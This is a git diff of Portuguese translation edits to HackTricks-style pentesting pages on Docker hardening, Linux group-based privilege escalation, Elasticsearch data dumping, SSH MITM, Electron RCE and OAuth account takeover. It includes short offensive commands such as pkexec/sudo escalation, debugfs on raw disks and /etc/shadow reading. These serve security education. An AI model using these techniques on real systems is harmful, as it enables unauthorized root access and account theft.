- [**Remova todas as capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e habilite apenas aquelas que são necessárias** (`--cap-add=...`). Muitas cargas de trabalho não precisam de capacidades e adicioná-las aumenta o escopo de um ataque potencial.
- [**Use a opção de segurança “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que processos ganhem mais privilégios, por exemplo, através de binários suid.
- [**Limite os recursos disponíveis para o contêiner**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Limites de recursos podem proteger a máquina contra ataques de negação de serviço.
- **Ajuste** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** perfis para restringir as ações e syscalls disponíveis para o contêiner ao mínimo necessário.
-- **Use** [**imagens docker oficiais**](https://docs.docker.com/docker-hub/official_images/) **e exija assinaturas** ou construa suas próprias com base nelas. Não herde ou use imagens [com backdoor](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Também armazene chaves root e senhas em um lugar seguro. O Docker tem planos para gerenciar chaves com UCP.
+- **Use** [**imagens docker oficiais**](https://docs.docker.com/docker-hub/official_images/) **e exija assinaturas** ou construa suas próprias com base nelas. Não herde ou use imagens [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Também armazene chaves root, senhas em um lugar seguro. O Docker tem planos para gerenciar chaves com UCP.
- **Reconstrua regularmente** suas imagens para **aplicar patches de segurança ao host e às imagens.**
- Gerencie seus **segredos com sabedoria** para que seja difícil para o atacante acessá-los.
- Se você **expor o daemon docker, use HTTPS** com autenticação de cliente e servidor.
@@ -344,9 +348,9 @@ Se você está **dentro de um contêiner docker** ou tem acesso a um usuário no
docker-breakout-privilege-escalation/
{{#endref}}
-## Bypass do Plugin de Autenticação Docker
+## Bypass do Plugin de Autenticação do Docker
-Se você tem acesso ao socket docker ou tem acesso a um usuário no **grupo docker, mas suas ações estão sendo limitadas por um plugin de autenticação docker**, verifique se você pode **contorná-lo:**
+Se você tem acesso ao socket docker ou tem acesso a um usuário no **grupo docker, mas suas ações estão sendo limitadas por um plugin de autenticação do docker**, verifique se você pode **contorná-lo:**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
@@ -373,5 +377,4 @@ Você precisa executar a ferramenta a partir do host que executa o docker ou de
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
index 968e1b737..4095e103b 100644
--- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
+++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
@@ -6,7 +6,7 @@
### **PE - Método 1**
-**Às vezes**, **por padrão (ou porque algum software precisa disso)** dentro do **/etc/sudoers** você pode encontrar algumas dessas linhas:
+**Às vezes**, **por padrão (ou porque algum software precisa disso)** dentro do arquivo **/etc/sudoers** você pode encontrar algumas dessas linhas:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@@ -27,7 +27,7 @@ Encontre todos os binários suid e verifique se há o binário **Pkexec**:
find / -perm -4000 2>/dev/null
```
Se você descobrir que o binário **pkexec é um binário SUID** e você pertence ao **sudo** ou **admin**, você provavelmente poderá executar binários como sudo usando `pkexec`.\
-Isso ocorre porque, normalmente, esses são os grupos dentro da **política do polkit**. Essa política basicamente identifica quais grupos podem usar `pkexec`. Verifique com:
+Isso ocorre porque, normalmente, esses são os grupos dentro da **polkit policy**. Essa política basicamente identifica quais grupos podem usar `pkexec`. Verifique com:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
@@ -66,7 +66,7 @@ Se este for o caso, para **se tornar root você pode apenas executar**:
```
sudo su
```
-## Grupo Shadow
+## Shadow Group
Usuários do **grupo shadow** podem **ler** o **/etc/shadow** arquivo:
```
@@ -86,7 +86,7 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
-Se conseguirmos sequestrar alguns programas em `/usr/local`, podemos facilmente obter root.
+Se conseguirmos sequestrar alguns programas em `/usr/local`, podemos facilmente obter acesso root.
Sequestrar o programa `run-parts` é uma maneira fácil de obter root, porque a maioria dos programas executará um `run-parts`, como (crontab, quando o ssh faz login).
```bash
@@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null
```
## Grupo Docker
-Você pode **montar o sistema de arquivos raiz da máquina host em um volume da instância**, de modo que, quando a instância inicia, ela carrega imediatamente um `chroot` nesse volume. Isso efetivamente lhe dá acesso root na máquina.
+Você pode **montar o sistema de arquivos raiz da máquina host em um volume da instância**, para que quando a instância iniciar, ela carregue imediatamente um `chroot` nesse volume. Isso efetivamente lhe dá acesso root na máquina.
```bash
docker image #Get images from the docker service
@@ -201,9 +201,13 @@ Finalmente, se você não gosta de nenhuma das sugestões anteriores, ou elas n
Se você tiver permissões de escrita sobre o socket do docker, leia [**este post sobre como escalar privilégios abusando do socket do docker**](../#writable-docker-socket)**.**
-{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
+{{#ref}}
+https://github.com/KrustyHack/docker-privilege-escalation
+{{#endref}}
-{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
+{{#ref}}
+https://fosterelli.co/privilege-escalation-via-docker.html
+{{#endref}}
## Grupo lxc/lxd
@@ -213,7 +217,7 @@ Se você tiver permissões de escrita sobre o socket do docker, leia [**este pos
## Grupo Adm
-Normalmente, **membros** do grupo **`adm`** têm permissões para **ler arquivos de log** localizados em _/var/log/_.\
+Normalmente, **membros** do grupo **`adm`** têm permissões para **ler arquivos de log** localizados dentro de _/var/log/_.\
Portanto, se você comprometeu um usuário dentro deste grupo, você definitivamente deve dar uma **olhada nos logs**.
## Grupo Auth
diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
index 6318cc0fd..543cbd2ef 100644
--- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
+++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
@@ -1,11 +1,10 @@
{{#include ../../banners/hacktricks-training.md}}
-
# Grupos Sudo/Admin
## **PE - Método 1**
-**Às vezes**, **por padrão \(ou porque algum software precisa\)** dentro do **/etc/sudoers** você pode encontrar algumas dessas linhas:
+**Às vezes**, **por padrão \(ou porque algum software precisa disso\)** dentro do **/etc/sudoers** você pode encontrar algumas dessas linhas:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@@ -29,7 +28,7 @@ Se você descobrir que o binário pkexec é um binário SUID e você pertence ao
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
-Lá você encontrará quais grupos têm permissão para executar **pkexec** e **por padrão** em alguns linux podem **aparecer** alguns dos grupos **sudo ou admin**.
+Lá você encontrará quais grupos têm permissão para executar **pkexec** e **por padrão** em algumas distribuições Linux podem **aparecer** alguns dos grupos **sudo ou admin**.
Para **se tornar root você pode executar**:
```bash
@@ -58,7 +57,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1
```text
%wheel ALL=(ALL:ALL) ALL
```
-Isso significa que **qualquer usuário que pertence ao grupo wheel pode executar qualquer coisa como sudo**.
+Isso significa que **qualquer usuário que pertença ao grupo wheel pode executar qualquer coisa como sudo**.
Se este for o caso, para **se tornar root você pode apenas executar**:
```text
@@ -76,7 +75,7 @@ Então, leia o arquivo e tente **quebrar algumas hashes**.
Esse privilégio é quase **equivalente ao acesso root** pois você pode acessar todos os dados dentro da máquina.
-Arquivos:`/dev/sd[a-z][1-9]`
+Arquivos: `/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
@@ -126,9 +125,13 @@ find / -group root -perm -g=w 2>/dev/null
Você pode montar o sistema de arquivos raiz da máquina host em um volume da instância, então quando a instância inicia, ela imediatamente carrega um `chroot` nesse volume. Isso efetivamente lhe dá acesso root na máquina.
-{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
+{{#ref}}
+https://github.com/KrustyHack/docker-privilege-escalation
+{{#endref}}
-{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
+{{#ref}}
+https://fosterelli.co/privilege-escalation-via-docker.html
+{{#endref}}
# Grupo lxc/lxd
diff --git a/src/misc/references.md b/src/misc/references.md
index 9e5dd6281..eb3792a1f 100644
--- a/src/misc/references.md
+++ b/src/misc/references.md
@@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
-{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
+{{#ref}}
+https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
+{{#endref}}
-{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
+{{#ref}}
+https://hausec.com/pentesting-cheatsheet/#_Toc475368982
+{{#endref}}
-{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
+{{#ref}}
+https://anhtai.me/pentesting-cheatsheet/
+{{#endref}}
-{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
+{{#ref}}
+https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
+{{#endref}}
-{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
+{{#ref}}
+https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
+{{#endref}}
-{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
+{{#ref}}
+https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
+{{#endref}}
-{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
+{{#ref}}
+https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
+{{#endref}}
-{% embed url="https://anhtai.me/oscp-fun-guide/" %}
+{{#ref}}
+https://anhtai.me/oscp-fun-guide/
+{{#endref}}
-{% embed url="https://www.thehacker.recipes/" %}
+{{#ref}}
+https://www.thehacker.recipes/
+{{#endref}}
-{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
+{{#ref}}
+https://github.com/swisskyrepo/PayloadsAllTheThings
+{{#endref}}
-{% embed url="https://gtfobins.github.io/" %}
+{{#ref}}
+https://gtfobins.github.io/
+{{#endref}}
-{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
+{{#ref}}
+https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
+{{#endref}}
-{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
+{{#ref}}
+https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
+{{#endref}}
-{% embed url="https://hideandsec.sh/" %}
+{{#ref}}
+https://hideandsec.sh/
+{{#endref}}
-{% embed url="https://cheatsheet.haax.fr/" %}
+{{#ref}}
+https://cheatsheet.haax.fr/
+{{#endref}}
-{% embed url="https://infosecwriteups.com/" %}
+{{#ref}}
+https://infosecwriteups.com/
+{{#endref}}
-{% embed url="https://www.exploit-db.com/" %}
+{{#ref}}
+https://www.exploit-db.com/
+{{#endref}}
-{% embed url="https://wadcoms.github.io/" %}
+{{#ref}}
+https://wadcoms.github.io/
+{{#endref}}
-{% embed url="https://lolbas-project.github.io" %}
+{{#ref}}
+https://lolbas-project.github.io
+{{#endref}}
-{% embed url="https://pentestbook.six2dez.com/" %}
+{{#ref}}
+https://pentestbook.six2dez.com/
+{{#endref}}
-{% embed url="https://www.hackingarticles.in/" %}
+{{#ref}}
+https://www.hackingarticles.in/
+{{#endref}}
-{% embed url="https://pentestlab.blog/" %}
+{{#ref}}
+https://pentestlab.blog/
+{{#endref}}
-{% embed url="https://ippsec.rocks/" %}
+{{#ref}}
+https://ippsec.rocks/
+{{#endref}}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md
index 00dd38ec7..6e7f46b96 100644
--- a/src/network-services-pentesting/5439-pentesting-redshift.md
+++ b/src/network-services-pentesting/5439-pentesting-redshift.md
@@ -8,6 +8,8 @@ Esta porta é usada pelo **Redshift** para funcionar. É basicamente uma variaç
Para mais informações, consulte:
-{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
+{{#ref}}
+https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
+{{#endref}}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md
index 42c4abe3d..3dee8bc31 100644
--- a/src/network-services-pentesting/9100-pjl.md
+++ b/src/network-services-pentesting/9100-pjl.md
@@ -2,7 +2,7 @@
# Informações Básicas
-A partir de [aqui](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Impressão bruta é o que definimos como o processo de fazer uma conexão com a porta 9100/tcp de uma impressora de rede. É o método padrão usado pelo CUPS e pela arquitetura de impressão do Windows para se comunicar com impressoras de rede, pois é considerado como ‘_o protocolo de rede mais simples, rápido e geralmente mais confiável usado para impressoras_’. A impressão na porta 9100 bruta, também referida como JetDirect, AppSocket ou PDL-datastream, na verdade **não é um protocolo de impressão por si só**. Em vez disso, **todos os dados enviados são processados diretamente pelo dispositivo de impressão**, assim como uma conexão paralela sobre TCP. Em contraste com LPD, IPP e SMB, isso pode enviar feedback direto ao cliente, incluindo mensagens de status e erro. Tal **canal bidirecional** nos dá **acesso** direto aos **resultados** de comandos **PJL**, **PostScript** ou **PCL**. Portanto, a impressão na porta 9100 bruta – que é suportada por quase qualquer impressora de rede – é usada como o canal para análise de segurança com PRET e PFT.
+A partir de [aqui](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Impressão bruta é o que definimos como o processo de fazer uma conexão com a porta 9100/tcp de uma impressora de rede. É o método padrão usado pelo CUPS e pela arquitetura de impressão do Windows para se comunicar com impressoras de rede, pois é considerado como ‘_o protocolo de rede mais simples, rápido e geralmente mais confiável usado para impressoras_’. A impressão na porta 9100 bruta, também referida como JetDirect, AppSocket ou PDL-datastream, na verdade **não é um protocolo de impressão por si só**. Em vez disso, **todos os dados enviados são processados diretamente pelo dispositivo de impressão**, assim como uma conexão paralela via TCP. Em contraste com LPD, IPP e SMB, isso pode enviar feedback direto ao cliente, incluindo mensagens de status e erro. Tal **canal bidirecional** nos dá **acesso** direto aos **resultados** dos comandos **PJL**, **PostScript** ou **PCL**. Portanto, a impressão na porta 9100 bruta – que é suportada por quase qualquer impressora de rede – é usada como o canal para análise de segurança com PRET e PFT.
Se você quiser aprender mais sobre [**hackeando impressoras, leia esta página**](http://hacking-printers.net/wiki/index.php/Main_Page).
@@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file
Esta é a ferramenta que você quer usar para abusar de impressoras:
-{% embed url="https://github.com/RUB-NDS/PRET" %}
+{{#ref}}
+https://github.com/RUB-NDS/PRET
+{{#endref}}
# **Shodan**
diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md
index 53b510125..b1ed743ce 100644
--- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md
+++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md
@@ -89,7 +89,7 @@ Aqui estão alguns endpoints que você pode **acessar via GET** para **obter** a
Esses endpoints foram [**retirados da documentação**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) onde você pode **encontrar mais**.\
Além disso, se você acessar `/_cat`, a resposta conterá os endpoints `/_cat/*` suportados pela instância.
-Em `/_security/user` (se a autenticação estiver habilitada) você pode ver qual usuário tem o papel `superuser`.
+Em `/_security/user` (se a autenticação estiver habilitada) você pode ver qual usuário tem o papel de `superuser`.
### Índices
@@ -112,7 +112,7 @@ Se você quiser **extrair todo o conteúdo** de um índice, pode acessar: `http:
_Tire um momento para comparar o conteúdo de cada documento (entrada) dentro do índice bank e os campos deste índice que vimos na seção anterior._
-Então, neste ponto, você pode notar que **existe um campo chamado "total" dentro de "hits"** que indica que **1000 documentos foram encontrados** dentro deste índice, mas apenas 10 foram recuperados. Isso ocorre porque **por padrão há um limite de 10 documentos**.\
+Então, neste ponto, você pode notar que **há um campo chamado "total" dentro de "hits"** que indica que **1000 documentos foram encontrados** dentro deste índice, mas apenas 10 foram recuperados. Isso ocorre porque **por padrão há um limite de 10 documentos**.\
Mas, agora que você sabe que **este índice contém 1000 documentos**, você pode **extrair todos eles** indicando o número de entradas que deseja extrair no parâmetro **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
\&#xNAN;_Nota: Se você indicar um número maior, todas as entradas serão extraídas de qualquer maneira, por exemplo, você poderia indicar `size=9999` e seria estranho se houvesse mais entradas (mas você deve verificar)._
@@ -161,11 +161,12 @@ Algumas ferramentas obterão alguns dos dados apresentados anteriormente:
```bash
msf > use auxiliary/scanner/elasticsearch/indices_enum
```
-{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
+{{#ref}}
+https://github.com/theMiddleBlue/nmap-elasticsearch-nse
+{{#endref}}
## Shodan
- `port:9200 elasticsearch`
-
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md
index 7c83b5609..4ef515b6d 100644
--- a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md
+++ b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md
@@ -4,7 +4,9 @@
# **Senhas Padrão**
-{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
+{{#ref}}
+http://www.vulnerabilityassessment.co.uk/passwordsC.htm
+{{#endref}}
# Arquivos de configuração
```text
diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md
index 55c3b9dea..fe013424e 100644
--- a/src/network-services-pentesting/pentesting-kerberos-88/README.md
+++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md
@@ -25,9 +25,11 @@ PORT STATE SERVICE
### MS14-068
-A falha MS14-068 permite que um atacante manipule o token de login Kerberos de um usuário legítimo para falsamente reivindicar privilégios elevados, como ser um Administrador de Domínio. Essa reivindicação falsa é validada erroneamente pelo Controlador de Domínio, permitindo acesso não autorizado a recursos de rede em toda a floresta do Active Directory.
+A falha MS14-068 permite que um atacante manipule o token de login Kerberos de um usuário legítimo para reivindicar falsamente privilégios elevados, como ser um Administrador de Domínio. Essa reivindicação falsa é validada erroneamente pelo Controlador de Domínio, permitindo acesso não autorizado a recursos de rede em toda a floresta do Active Directory.
-{% embed url="https://adsecurity.org/?p=541" %}
+{{#ref}}
+https://adsecurity.org/?p=541
+{{#endref}}
Outros exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md
index 85a101108..c29d271e4 100644
--- a/src/network-services-pentesting/pentesting-ssh.md
+++ b/src/network-services-pentesting/pentesting-ssh.md
@@ -2,8 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
-
-
## Informações Básicas
**SSH (Secure Shell ou Secure Socket Shell)** é um protocolo de rede que permite uma conexão segura a um computador através de uma rede não segura. É essencial para manter a confidencialidade e integridade dos dados ao acessar sistemas remotos.
@@ -40,13 +38,13 @@ ssh-audit é uma ferramenta para auditoria de configuração de servidor e clien
**Recursos:**
-- Suporte ao protocolo SSH1 e SSH2;
+- Suporte ao servidor dos protocolos SSH1 e SSH2;
- analisar a configuração do cliente SSH;
- capturar banner, reconhecer dispositivo ou software e sistema operacional, detectar compressão;
- coletar algoritmos de troca de chaves, chave do host, criptografia e código de autenticação de mensagem;
- saída de informações sobre algoritmos (disponível desde, removido/desativado, inseguro/fraco/legado, etc);
- saída de recomendações de algoritmos (adicionar ou remover com base na versão do software reconhecido);
-- saída de informações de segurança (problemas relacionados, lista de CVE atribuídos, etc);
+- saída de informações de segurança (problemas relacionados, lista de CVE atribuída, etc);
- analisar a compatibilidade da versão SSH com base nas informações do algoritmo;
- informações históricas do OpenSSH, Dropbear SSH e libssh;
- funciona em Linux e Windows;
@@ -119,7 +117,9 @@ Ou use `ssh-keybrute.py` (python3 nativo, leve e com algoritmos legados habilita
#### Chaves ruins conhecidas podem ser encontradas aqui:
-{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
+{{#ref}}
+https://github.com/rapid7/ssh-badkeys/tree/master/authorized
+{{#endref}}
#### Chaves SSH fracas / PRNG previsível do Debian
@@ -159,7 +159,7 @@ Se você estiver na rede local como a vítima que vai se conectar ao servidor SS
- **Redirecionamento de Tráfego:** O atacante **desvia** o tráfego da vítima para sua máquina, efetivamente **interceptando** a tentativa de conexão ao servidor SSH.
- **Intercepção e Registro:** A máquina do atacante atua como um **proxy**, **capturando** os detalhes de login do usuário ao fingir ser o servidor SSH legítimo.
-- **Execução de Comandos e Revezamento:** Finalmente, o servidor do atacante **registra as credenciais do usuário**, **encaminha os comandos** para o verdadeiro servidor SSH, **os executa** e **envia os resultados de volta** para o usuário, fazendo o processo parecer contínuo e legítimo.
+- **Execução de Comandos e Revezamento:** Finalmente, o servidor do atacante **registra as credenciais do usuário**, **encaminha os comandos** para o verdadeiro servidor SSH, **os executa** e **envia os resultados de volta** ao usuário, fazendo o processo parecer contínuo e legítimo.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) faz exatamente o que foi descrito acima.
@@ -167,7 +167,7 @@ Para capturar e realizar o MitM real, você pode usar técnicas como spoofing AR
## SSH-Snake
-Se você deseja percorrer uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) é o que você precisa.
+Se você quiser percorrer uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) é o que você precisa.
SSH-Snake realiza as seguintes tarefas automaticamente e recursivamente:
diff --git a/src/network-services-pentesting/pentesting-web/buckets/README.md b/src/network-services-pentesting/pentesting-web/buckets/README.md
index 6373d39d4..c2c624a4e 100644
--- a/src/network-services-pentesting/pentesting-web/buckets/README.md
+++ b/src/network-services-pentesting/pentesting-web/buckets/README.md
@@ -2,8 +2,10 @@
{{#include ../../../banners/hacktricks-training.md}}
-Verifique esta página se você quiser aprender mais sobre como enumerar e abusar de Buckets:
+Verifique esta página se você quiser aprender mais sobre enumeração e abuso de Buckets:
-{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
+{{#ref}}
+https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
+{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
index 72dcfd80a..b0e4d31e8 100644
--- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
+++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
@@ -8,6 +8,8 @@ Firebase é um Backend-as-a-Service principalmente para aplicativos móveis. Ele
Saiba mais sobre Firebase em:
-{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
+{{#ref}}
+https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
+{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
index e3c029587..832d396a3 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
@@ -6,7 +6,7 @@
Exemplo de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
-O listener de evento "exit" é sempre definido pelo código interno quando o carregamento da página é iniciado. Este evento é emitido logo antes da navegação:
+O listener de evento "exit" é sempre configurado pelo código interno quando o carregamento da página é iniciado. Este evento é emitido logo antes da navegação:
```javascript
process.on("exit", function () {
for (let p in cachedArchives) {
@@ -15,13 +15,15 @@ cachedArchives[p].destroy()
}
})
```
-{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
+{{#ref}}
+https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
+{{#endref}}
.png>)
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Não existe mais
-Então vai aqui:
+Então vai para cá:
.png>)
@@ -33,7 +35,7 @@ O objeto de processo tem uma referência à função "require":
```
process.mainModule.require
```
-Como o handler.call vai receber o objeto de processo, podemos sobrescrevê-lo para executar código arbitrário:
+Como o handler.call vai receber o objeto process, podemos sobrescrevê-lo para executar código arbitrário:
```html
test
```
@@ -73,15 +74,15 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard
+### Pré Assunção de Conta
-1. **Sem Verificação de Email na Criação da Conta**: Os atacantes podem criar proativamente uma conta usando o email da vítima. Se a vítima usar posteriormente um serviço de terceiros para login, a aplicação pode inadvertidamente vincular essa conta de terceiros à conta pré-criada do atacante, levando a acesso não autorizado.
+1. **Sem Verificação de Email na Criação da Conta**: Os atacantes podem criar proativamente uma conta usando o email da vítima. Se a vítima usar um serviço de terceiros para login, a aplicação pode inadvertidamente vincular essa conta de terceiros à conta pré-criada do atacante, levando a acesso não autorizado.
2. **Explorando a Verificação de Email Laxa do OAuth**: Os atacantes podem explorar serviços de OAuth que não verificam emails registrando-se com seu serviço e, em seguida, alterando o email da conta para o da vítima. Esse método também arrisca o acesso não autorizado à conta, semelhante ao primeiro cenário, mas através de um vetor de ataque diferente.
### Divulgação de Segredos
@@ -92,7 +93,7 @@ Uma vulnerabilidade comum surge quando as aplicações lidam erroneamente com a
### Bruteforce do Client Secret
-Você pode tentar **bruteforce o client_secret** de um provedor de serviços com o provedor de identidade para tentar roubar contas.\
+Você pode tentar **bruteforçar o client_secret** de um provedor de serviços com o provedor de identidade para tentar roubar contas.\
A solicitação para BF pode parecer semelhante a:
```
POST /token HTTP/1.1
@@ -121,7 +122,7 @@ Se você conseguir obter o **código de autorização e usá-lo com um cliente d
### Caminhos Felizes, XSS, Iframes & Mensagens Post para vazar valores de código & estado
-[**Ver este post**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
+[**Verifique este post**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
### AWS Cognito
@@ -142,15 +143,17 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
]
}
```
-Para mais informações detalhadas sobre como abusar do AWS cognito, confira:
+Para mais informações detalhadas sobre como abusar do AWS cognito, consulte:
-{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
+{{#ref}}
+https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
+{{#endref}}
### Abusando de tokens de outros aplicativos
Como [**mencionado neste artigo**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), fluxos OAuth que esperam receber o **token** (e não um código) podem ser vulneráveis se não verificarem se o token pertence ao aplicativo.
-Isso ocorre porque um **atacante** poderia criar um **aplicativo que suporta OAuth e fazer login com Facebook** (por exemplo) em seu próprio aplicativo. Então, uma vez que uma vítima faça login com Facebook no **aplicativo do atacante**, o atacante poderia obter o **token OAuth do usuário dado ao seu aplicativo e usá-lo para fazer login no aplicativo OAuth da vítima usando o token do usuário da vítima**.
+Isso ocorre porque um **atacante** pode criar um **aplicativo que suporta OAuth e login com Facebook** (por exemplo) em seu próprio aplicativo. Então, uma vez que uma vítima faça login com Facebook no **aplicativo do atacante**, o atacante pode obter o **token OAuth do usuário concedido ao seu aplicativo e usá-lo para fazer login no aplicativo OAuth da vítima usando o token do usuário da vítima**.
> [!CAUTION]
